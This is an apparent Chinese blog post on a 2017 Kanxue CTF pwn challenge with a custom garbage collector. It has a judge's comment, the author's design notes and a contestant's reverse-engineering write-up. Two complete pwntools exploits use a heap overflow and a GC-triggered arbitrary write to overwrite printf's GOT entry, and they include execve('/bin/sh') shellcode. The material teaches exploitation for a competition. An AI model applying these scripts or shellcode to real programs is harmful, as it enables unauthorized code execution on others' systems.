查看原文
其他

看雪.腾讯TSRC 2017 CTF 秋季赛 第七题点评及解析思路

2017-11-07 看雪CTF 看雪学院
    

看雪CTF快讯:

第七题已有 14 人破解!



导语


经过两天奋战,第七题结束。

第七题出题者Ox9A82以14人攻破的成绩,排位防守方第三名。


攻击方hotwinter依然排名第一位,iweizime上升一位,现排名第二名。

此题过后,前十名的排名依然在不断变化中......现前十名的排名如下:

选手们正在带给我们越来越多的惊喜~

距离比赛结束还剩三题,同志们,加油吧!


接下来让我们一起来看看第七题的点评、出题思路和解析。



看雪评委netwind点评


作者设计新颖,引入了一个内存管理结构GC来提供自动的内存管理,但实际环境中GC也常常漏洞频发。本题中cheat函数功能存在堆溢出漏洞,通过堆溢出控制GC的指针结构,之后通过触发回收可以造成任意地址写的操作,通过任意地址写控制函数的got表的内容就可以实现漏洞利用。


第七题作者简介


Ox9A82,曾在腾讯实习的安全研究员,关注浏览器和Windows系统的安全漏洞,目前从事Edge浏览器Chakra引擎的安全研究。同时也是一名属于Syclover和Nu1L团队的CTFer和CTF-Wiki的编辑者,对CTF中的各类Pwn技巧比较有兴趣。


最早结识看雪平台出于对逆向和内核Rootkit技术的热爱,在看雪也学习到了很多,希望看雪接下来可以越办越好。



第七题设计思路


这道题出题时的想法是把实际漏洞环境中比较常见的GC结合进CTF中的Linux Pwn题目中,但是比较遗憾的是水平有限没能够在出题时间内完成整个GC的漏洞设计,所以只好做了简化并构造了漏洞,因此这个利用的难度其实比较简单。


首先,解释一下什么是GC,GC一般称作垃圾回收,设计GC的目的是为了给程序员提供自动的内存管理,这样程序员就不需要手动的去释放内存了。因为程序员手动管理内存往往会产生内存泄漏等问题,所以现在一般的脚本语言或者虚拟机往往都存在有GC,比如java虚拟机、javascript引擎等等。
但是,在实际环境中GC也是漏洞的高发地带,比如在IE浏览器mshtml中各种DOM对象都是基于引用计数进行内存管理的,复杂的引用计数关系导致出现了大量的Use-After-Free漏洞。


在这道题目中,涉及到了一个基础的引用计数法(Reference Counting Collector)GC,当程序分配内存之后会自动维护对于每个块的引用技术,当检测到某个块的计数为0时就会把它回收以便进行下一次使用。

 

但是在进行内存回收时,这个块中可能会存在对其它块的引用,因此释放此块时需要对块中所有的指针进行判断,如果判定是由GC维护的块就需要对指针指向的块也做引用计数减一的操作。


这道题目中cheat功能存在一个堆溢出漏洞,通过堆溢出可以控制到GC的指针结构,之后通过触发回收可以造成一个任意地址写固定值的操作,通过任意地址写控制函数的got表内容就可以实现getshell。


from pwn import *    
import time
from ctypes import *
import os, sys
 
 
def uint32(x):
    return c_uint32(x).value
 
def log(str):
     log.info(str)
 
def info(string):
    return log.info(string)
 
def js(str):
     return io.recvuntil(str)
 
def jsn(num):
     if num:
          return io.recvn(num+1)
     else:
          return io.recvn(num)
 
def fs(str):
     io.sendline(str)
 
def fsn(str):
     io.send(str)
 
def stop():
     while 1:
      time.sleep(1)
 
def shell():
    io.interactive()
 
def mark(name,vaule):
    string='\n=====>'+str(name)+' :'+str(vaule)+'\n'
    print string
 
def dbg(string):
    raw_input(string)
 
def shellcode():
    return asm(shellcraft.amd64.linux.sh())
 
 
###setting
 
local=1
debug=0
log=1    
 
if local:
     io=process('./pwn')
     #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
     io=remote('127.0.0.1',10086)
     libc = ELF('./libc')
if log:
     context(log_level='debug')
if debug:
     gdb.attach(io)
 
#user code =============================
def signup():
    js('2.Signup')
    fs('2')
    js('input your username')
    fs('1')
    js('input your password')
    fs('1')
    js('input your character')
    fs('1')
 
def login():
    js('2.Signup')
    fs('1')
    js('Input your username:')
    fs('1')
    js('Input your password:')
    fs('1')
 
def goto():
    js('0.exit')
    fs('3')
    js('6.Primorsk')
    fs('1')
 
def explore():
    js('0.exit')
    fs('4')
    try:
        js('Do you want to pick up it?')
    except Exception:
    js('nothing found')
        return False
    fs('y')
    return True
 
def view_package():
    js('0.exit')
    fs('2')
 
def del_item(num):
    js('Your Choice:')
    fs(str(num))
    js('2.return')
    fs('1')
    js('2.return')
    fs('2')
    js('Your Choice:')
    fs('8')
 
def cheat():
    js('0.exit')
    fs('5')
    js('name')
    fs('1')
    js('content')
    fs('123')
 
def overflow(str):
    js('0.exit')
    fs('5')
    js('content')
    fs(str)
 
def get_shell():
    js('0.exit')
    fs('y')
    fs('1')
    js('Input your username:')
    fs('1')
    js('Input your password:')
    fs('1')
    shell()
 
if __name__=='__main__' :
    signup()
    login()   
    goto()
    cheat()
 
    if False==explore():
        mark('try again')
 
    if False==explore():
        mark('try again')
 
    payload='a'*32+p64(0x1)+p64(0x18)+p64(0x0605058)+p64(0x0)+p64(0x1)
    overflow(payload)
    view_package()
    del_item(1)
    payload2=7*8*2*'a'+"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    overflow(payload2)
    get_shell()





下面选取攻击者 iweizime 的破解分析





第七题由于是作者自己实现的内存分配机制,所以描述起来比较麻烦,贴了很多图。其实没有那么复杂。


检查和测试


拿到程序后,还是按照流程先用pwntools检查一下,结果如下。


$pwn checksec pwn
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


可以看到程序是64位的,可以改got表,有栈保护,有NX,没有PIE。虽然开了NX保护,但是并没有什么用,还是可以用shellcode,后面会说到。

 

然后先跑一下程序,了解一下基本流程。进过几次测试之后,很幸运的发现一个使程序崩溃的漏洞,虽然不知道漏洞详情,但能崩溃就有可能导致代码执行。



逆向


pwn题的逆向一般会简单很多,因为里面会有很多字符串,而且考点也不是逆向。只挑和漏洞有关的几个函数说一下。

 

首先main很简单。



在函数init_game里面,用函数mmap_mem分配了一块内存,将这块内存的首尾地址保存在了两个全局变量mem_start, mem_end中,然后又保存了一个top_chunk指针,用于作者自己实现的mymalloc函数分配内存。



在往下看,到mmap_mem函数里面,就发先一些问题了,函数mmap分配的内存是可读、可写、可执行的。这也就是NX保护没有用,可以使用shellcode的原因。



在注册、登陆之后,主要循环如下:



其中的cheat函数存在问题,如果是首次cheat,会分配一块大小为48字节的内存,前16字节作为name,后32字节作为content。然而再次cheat的时候,读入content的最大长度为300,这显然是个漏洞。



现在来看一下为什么登陆两次会发生崩溃。



在signup的时候,程序会分配一块48字节大小的内存,并调用set_buf函数来使全局变量userinfo指向这块内存。当再次signup的时候,程序又分配一块新内存,然后将全局变量userinfo指向新的内存,并对原来的那块内存进行一次应该是类似于free但是很奇怪的操作。


下面来看一下maybe_free和与之相关的几个函数。


首先是set_buf函数,它调用了maybe_free函数。



然后是maybe_free函数本身。



再然后是find_valid_addr_in_chunk函数。



再然后是valid_address函数。



最后是add_to_array函数。



用图解释一下add_to_array做了什么



弄清楚这几个函数之后,就可以搞清楚崩溃的问题了。


maybe_free函数调用find_valid_addr_in_chunk函数在要释放的内存中找出它认为是指针(也就是找它认为合法的地址)的字段,然后将这个指针指向的chunk地址保存到一个全局变量free_array指向的数组里,这个数组也是通过myalloc函数分配的,然后将数组的当前地址保存进上述指针指向的位置。一开始输入的用户名weizi变成64为整数为0x697A696577,正好是程序认为的合法地址,但是这个地址又不可写,所以造成了崩溃。可以利用这个漏洞来写got表。



数据结构


在写exploit之前,还需要了解一下数据结构


struct chunk_header_stru {
    int64_t inuse;
    int64_t size;
}
 
struct userinfo_stru {
    int64_t             unused;
    char                username[16];
    char                password[16];
    characterinfo_stru  *character;
};
 
struct characterinfo_stru {
    char        name[16];
    int64_t     health;
    int64_t     stamina;
    int64_t     available_weight;
    int64_t     location;
    item_stru   *items;
};
 
struct item_stru {
    int64_t     type;
    int64_t     weight;
    int64_t     num;
    item_stru   *next;
    int64_t     bullet;
    int64_t     power;
};



Exploit


利用的思路是首先用printf的got表项地址作为用户名signup,然后login并cheat一次。退出后再signup一次,将printf的got表项改为free_array指向的数组的地址。最后用cheat把shellcode写入数组的位置,并触发对printf的调用。

 

第一次signup,login,cheat之后,内存布局如下:



再signup,login之后,内存布局如下



接下来,只要再一次用cheat来把shellcode写入array的位置,并触发printf就可以了。我选取的是函数show_my_status来调用printf,还有一点需要注意的是在show_location函数里面用到了userinfo->characterinfo->location,如果location不合法会退出,所以在覆盖new_usrnf的时候要稍微注意一下。



只需要signup,login,cheat,show_my_status四个操作就可以拿到shell。


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
 
 
 
# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'info'
exe = './pwn'
 
# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
 
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
 
 
def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote('123.206.22.95', 8888)
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
 
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
io = start()
 
 
def signup(username, password, character_name):
    io.recvuntil('2.Signup')
    io.recvuntil('==============================')
    io.sendline('2')
    io.recvuntil('input your username')
    io.sendline(username)
    io.recvuntil('input your password')
    io.sendline(password)
    io.recvuntil("input your character's name")
    io.sendline(character_name)
 
 
def login(username, password):
    io.recvuntil('1.Login')
    io.recvuntil('==============================')
    io.sendline('1')
    io.recvuntil('Input your username:')
    io.sendline(username)
    io.recvuntil('Input your password:')
    io.sendline(password)
 
def cheat(name, content, isFirstTime=True):
    if isFirstTime:
        io.recvuntil('0.exit')
        io.sendline('5')
        io.recvuntil('name:')
        io.sendline(name)
        io.recvuntil('content:')
        io.sendline(content)
    else:
        io.recvuntil('0.exit')
        io.sendline('5')
        io.recvuntil('content:')
        io.sendline(content)
 
def goto(location):
    io.recvuntil('0.exit')
    io.sendline('3')
    io.recvuntil('6.Primorsk')
    io.sendline(str(location))
 
def explore(pickup):
    io.recvuntil('0.exit')
    io.sendline('4')
    io.recvuntil('Do you want to pick up it?')
    if pickup:
        io.sendline('y')
    else:
        io.sendline('n')
    l = io.recvline()
    if l == 'Ok..\n':
        return True
    else:
        return False
 
def view_and_remove(choice):
    io.recvuntil('0.exit')
    io.sendline('2')
    io.recvuntil('Your Choice:')
    io.sendline(str(choice))
    io.recvline('2.return')
    io.sendline('1')
    io.recvline('2.return')
    io.sendline('2')
    io.recvuntil('Your Choice:')
    io.sendline('-1')
 
def logout():
    io.recvuntil('0.exit')
    io.sendline('0')
 
def show_status():
    io.recvuntil('0.exit')
    io.sendline('1')
 
 
 
printf_got = 0x605038
signup(p64(printf_got), '12345678', 'root')
login(p64(printf_got), '12345678')
cheat('weizi', 'weizi', True)
logout()
signup(p64(printf_got), '012345678', 'root')
login(p64(printf_got), '012345678')
payload = 'A' * 32
payload += p64(1)
payload += p64(0x40)
payload += p64(0)
payload += p64(printf_got)
payload += p64(0)
payload += '12345678'
payload += p64(0)
payload += p64(0x6050B8 - 40)   # 伪造的characterinfo *
payload += p64(1)
payload += p64(0x20)
shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
payload += shellcode
log.info("len(payload) = {}".format(len(payload)))
cheat(None, payload, False)
show_status()
io.interactive()


最后得到的flag为flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}。


一点总结


  • 做题首先要细心,像cheat函数中的漏洞很明显,不要漏掉。

  • 要关注输入,有输入的地方才最有可能出漏洞。在这题中,能控制的输入最多的就是cheat,其次就是signup。剩下的基本上只能输入1, 2, 3 ...或者yYnN等。


温馨提示

每道题结束过后都会看到很多盆友的精彩解题分析过程,因为公众号内容的限制,每次题目过后我们将选出一篇与大家分享。解题方式多种多样,各位参赛选手的脑洞也种类繁多,想要看到更多解题分析的小伙伴们可以前往看雪论坛【CrackMe】版块查看哦!



合作伙伴



腾讯安全应急响应中心

TSRC,腾讯安全的先头兵,肩负腾讯公司外部安全事件的响应处理工作;在这个没有硝烟的战场上,我们与两万多名安全专家并肩而行,捍卫全球亿万用户的信息、财产安全;一直以来,我们怀揣感恩之心,努力构建开放的TSRC交流平台,回馈安全社区;未来,我们将继续携手安全行业精英,探索互联网安全新方向,共建互联网安全生态。



热门推荐| 看雪CTF



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存